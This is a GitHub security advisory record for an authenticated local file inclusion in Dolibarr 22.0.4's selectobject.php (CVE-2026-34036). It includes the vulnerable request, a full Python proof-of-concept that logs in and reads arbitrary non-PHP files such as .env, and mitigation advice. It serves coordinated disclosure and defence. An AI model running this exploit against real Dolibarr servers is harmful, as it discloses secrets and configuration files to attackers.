{"id":"GHSA-2mfj-r695-5h9r","summary":"Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php ","details":"# Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure\n\n## Target\n\nDolibarr Core (Tested on version 22.0.4)\n\n## Summary\n\nA Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint `/core/ajax/selectobject.php`. By manipulating the `objectdesc` parameter and exploiting a fail-open logic flaw in the core access control function `restrictedArea()`, an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as `.env`, `.htaccess`, configuration backups, or logs…).\n\n## Vulnerability Details\n\nThe vulnerability is caused by a critical design flaw in `/core/ajax/selectobject.php` where dynamic file inclusion occurs **before** any access control checks are performed, combined with a fail-open logic in the core ACL function.\n\n- **Arbitrary File Inclusion BEFORE Authorization:** The endpoint parses the `objectdesc` parameter into a `$classpath`. If `fetchObjectByElement` fails (e.g., by providing a fake class like `A:conf/.htaccess:0`), the application falls back to `dol_include_once($classpath)` at **line 71**. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens *before* the application checks any user permissions.\n- **Access Control Bypass (Fail-Open):** At **line 102**, the application finally attempts to verify permissions by calling `restrictedArea()`. Because the object creation failed, the `$features` parameter sent to `restrictedArea()` is empty (`''`). Inside `security.lib.php`, if the `$features` parameter is empty, the access check block is completely skipped, leaving the `$readok` variable at `1`. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.\n\nThis allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like `.htaccess`, `.env`, `.json`, `.sql`) are dumped into the HTTP response before the application crashes.\n\n## Steps to Reproduce\n\n- Log in to the Dolibarr instance with any user account (no specific permissions required).\n- Intercept or manually forge a GET request to the following endpoint:\n\n```\nGET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:conf/.htaccess:0\n```\n\n- Observe the HTTP response. The contents of the `conf/.htaccess` file will be reflected in the response body right before the PHP Fatal Error message.\n- *(Optional)* Run the attached Python PoC to automate the extraction:\n\n```\npython3 poc.py --url http://target.com --username '\u003cusername\u003e' --password '\u003cpassword\u003e' --file conf/.htaccess\n```\n\n## Impact\n\nAn attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (`.env`), infrastructure configurations (`.htaccess`), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.\n\n## Suggested Mitigation\n\n- **Input Validation & Whitelisting:** The `$classpath` must be strictly validated or whitelisted before being passed to `dol_include_once()`.\n- **Execution Flow Correction:** The file inclusion logic must never be executed before the user's authorization has been fully verified.\n- **Enforce Fail-Secure ACLs:** Modify `restrictedArea()` in `core/lib/security.lib.php` so that if the `$features` parameter is empty, access is explicitly denied (`$readok = 0`) instead of allowed by default.\n\n## Disclosure Policy & Assistance\n\nThe reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.\n\nShould any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.\n\nThank you for the time and commitment to securing Dolibarr.\n\nBest Regards,\nVincent KHAYAT (cnf409)\n\n## Video PoC\n\nhttps://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844\n\n## PoC Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Dolibarr selectobject.php authenticated LFI PoC\"\"\"\n\nimport argparse\nimport html\nimport re\nimport urllib.error\nimport urllib.parse\nimport urllib.request\nfrom http.cookiejar import CookieJar\n\nLOGIN_MARKERS = (\"Login @\", \"Identifiant @\")\nLOGOUT_MARKERS = (\"/user/logout.php\", \"Logout\", \"Mon tableau de bord\")\n\ndef request(\n    opener, base_url, method, path, params=None, data=None, timeout=15\n):\n    url = f\"{base_url.rstrip('/')}{path}\"\n    if params:\n        url = f\"{url}?{urllib.parse.urlencode(params)}\"\n    payload = urllib.parse.urlencode(data).encode(\"utf-8\") if data else None\n    req = urllib.request.Request(url, method=method.upper(), data=payload)\n    req.add_header(\"User-Agent\", \"dolibarr-lfi-poc/1.0-securitytest-for-dolibarr\")\n    req.add_header(\"Accept\", \"text/html,application/xhtml+xml\")\n    try:\n        with opener.open(req, timeout=timeout) as resp:\n            return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n    except urllib.error.HTTPError as err:\n        return err.code, err.read().decode(\"utf-8\", errors=\"replace\")\n\ndef extract_login_token(page):\n    for pattern in (\n        r'name=[\"\\']token[\"\\']\\s+value=[\"\\']([^\"\\']*)[\"\\']',\n        r'name=[\"\\']anti-csrf-newtoken[\"\\']\\s+content=[\"\\']([^\"\\']*)[\"\\']',\n    ):\n        match = re.search(pattern, page, flags=re.IGNORECASE)\n        if match:\n            return match.group(1)\n    return \"\"\n\ndef looks_authenticated(body):\n    return any(marker in body for marker in LOGOUT_MARKERS)\n\ndef clean_included_output(body):\n    for marker in (\n        \"\u003cbr /\u003e\\n\u003cb\u003eWarning\",\n        \"\u003cbr /\u003e\\r\\n\u003cb\u003eWarning\",\n        \"\u003cbr /\u003e\\n\u003cb\u003eFatal error\",\n        \"\u003cbr /\u003e\\r\\n\u003cb\u003eFatal error\",\n    ):\n        pos = body.find(marker)\n        if pos != -1:\n            return body[:pos].rstrip()\n    return body.rstrip()\n\ndef login(opener, base_url, username, password):\n    code, login_page = request(opener, base_url, \"GET\", \"/\")\n    if code \u003e= 400:\n        return False, f\"HTTP {code} on login page\"\n    token = extract_login_token(login_page)\n    code, after_login = request(\n        opener,\n        base_url,\n        \"POST\",\n        \"/index.php?mainmenu=home\",\n        data={\n            \"token\": token,\n            \"actionlogin\": \"login\",\n            \"loginfunction\": \"loginfunction\",\n            \"username\": username,\n            \"password\": password,\n        },\n    )\n    if code \u003e= 400:\n        return False, f\"HTTP {code} on login request\"\n    if looks_authenticated(after_login):\n        return True, \"\"\n    code, home = request(opener, base_url, \"GET\", \"/index.php?mainmenu=home\")\n    if code \u003c 400 and looks_authenticated(home):\n        return True, \"\"\n    return False, \"Invalid username or password\"\n\ndef read_file(opener, base_url, relative_path):\n    status, body = request(\n        opener,\n        base_url,\n        \"GET\",\n        \"/core/ajax/selectobject.php\",\n        params={\n            \"outjson\": \"0\",\n            \"htmlname\": \"x\",\n            \"objectdesc\": f\"A:{relative_path}:0\",\n        },\n    )\n    if any(marker in body for marker in LOGIN_MARKERS) and not looks_authenticated(body):\n        raise RuntimeError(\"Session expired or not authenticated\")\n    return status, body, clean_included_output(body)\n\ndef parse_args():\n    parser = argparse.ArgumentParser(\n        description=\"Authenticated LFI PoC against /core/ajax/selectobject.php (Dolibarr 22.0.4).\"\n    )\n    parser.add_argument(\n        \"--url\",\n        default=\"http://127.0.0.1:8080\",\n        help=\"Dolibarr base URL (default: http://127.0.0.1:8080)\",\n    )\n    parser.add_argument(\"--username\", required=True, help=\"Dolibarr username\")\n    parser.add_argument(\"--password\", required=True, help=\"Dolibarr password\")\n    parser.add_argument(\n        \"--file\",\n        dest=\"target_file\",\n        required=True,\n        help=\"Target file to read (e.g. conf/.htaccess).\",\n    )\n    return parser.parse_args()\n\ndef print_result(path, status, raw, clean):\n    print(f\"\\n[+] HTTP status: {status}\")\n    print(f\"[+] Requested file: {path}\")\n    print(\"=\" * 80)\n    if clean:\n        print(html.unescape(clean))\n    else:\n        print(\"(No readable output extracted)\")\n    print(\"=\" * 80)\n    if clean != raw.rstrip():\n        print(\"[i] PHP warnings/fatal output were trimmed from display.\")\n\ndef summarize_error_body(body, limit=1200):\n    text = html.unescape(body).strip()\n    if not text:\n        return \"(Empty response body)\"\n    if len(text) \u003e limit:\n        return text[:limit].rstrip() + \"\\n... [truncated]\"\n    return text\n\ndef main():\n    args = parse_args()\n    opener = urllib.request.build_opener(\n        urllib.request.HTTPCookieProcessor(CookieJar())\n    )\n    ok, reason = login(opener, args.url, args.username, args.password)\n    if not ok:\n        print(f\"[!] {reason}\")\n        return 1\n    print(\"[+] Login successful.\")\n    try:\n        status, raw, clean = read_file(opener, args.url, args.target_file)\n        if status \u003e= 400:\n            print(f\"[!] HTTP {status} while reading target file.\")\n            print(\"=\" * 80)\n            print(summarize_error_body(raw))\n            print(\"=\" * 80)\n            return 1\n        print_result(args.target_file, status, raw, clean)\n        return 0\n    except Exception as exc:\n        print(f\"[!] Error: {exc}\")\n        return 1\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except KeyboardInterrupt:\n        print(\"\\nInterrupted.\")\n        raise SystemExit(130)\n```","aliases":["CVE-2026-34036"],"modified":"2026-03-31T18:48:55.713158Z","published":"2026-03-27T18:04:19Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-03-27T18:04:19Z","nvd_published_at":"2026-03-31T03:15:57Z","cwe_ids":["CWE-98"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-2mfj-r695-5h9r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34036"},{"type":"WEB","url":"https://github.com/Dolibarr/dolibarr/commit/743c22e57c0b2a017d6b92bec865d71ce6177a6a"},{"type":"PACKAGE","url":"https://github.com/Dolibarr/dolibarr"}],"affected":[{"package":{"name":"dolibarr/dolibarr","ecosystem":"Packagist","purl":"pkg:composer/dolibarr/dolibarr"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"22.0.4"}]}],"versions":["10.0.0","10.0.1","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","11.0.0","11.0.1","11.0.2","11.0.3","11.0.4","11.0.5","12.0.0","12.0.1","12.0.2","12.0.3","12.0.4","12.0.5","13.0.0","13.0.1","13.0.2","13.0.3","13.0.4","13.0.5","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","15.0.0","15.0.1","15.0.2","15.0.3","3.6.0","3.6.0-beta","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.7.0","3.7.1","3.7.2","3.7.3","3.7.4","3.8.0","3.8.0-beta","3.8.1","3.8.2","3.8.3","3.8.4","3.9.0","3.9.0-rc","3.9.0-rc2","3.9.1","3.9.2","3.9.3","3.9.4","4.0.0","4.0.0-beta","4.0.0-rc","4.0.0-rc2","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","5.0.0","5.0.0-beta","5.0.0-rc1","5.0.0-rc2","5.0.1","5.0.2","5.0.3","5.0.4","5.0.5","5.0.6","5.0.7","6.0.0","6.0.0-beta","6.0.0-rc","6.0.1","6.0.2","6.0.3","6.0.4","6.0.5","6.0.6","6.0.7","6.0.8","7.0.0","7.0.1","7.0.2","7.0.3","7.0.4","7.0.5","8.0.0","8.0.1","8.0.2","8.0.3","8.0.4","8.0.5","8.0.6","9.0.0","9.0.1","9.0.2","9.0.3","9.0.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-2mfj-r695-5h9r/GHSA-2mfj-r695-5h9r.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}]}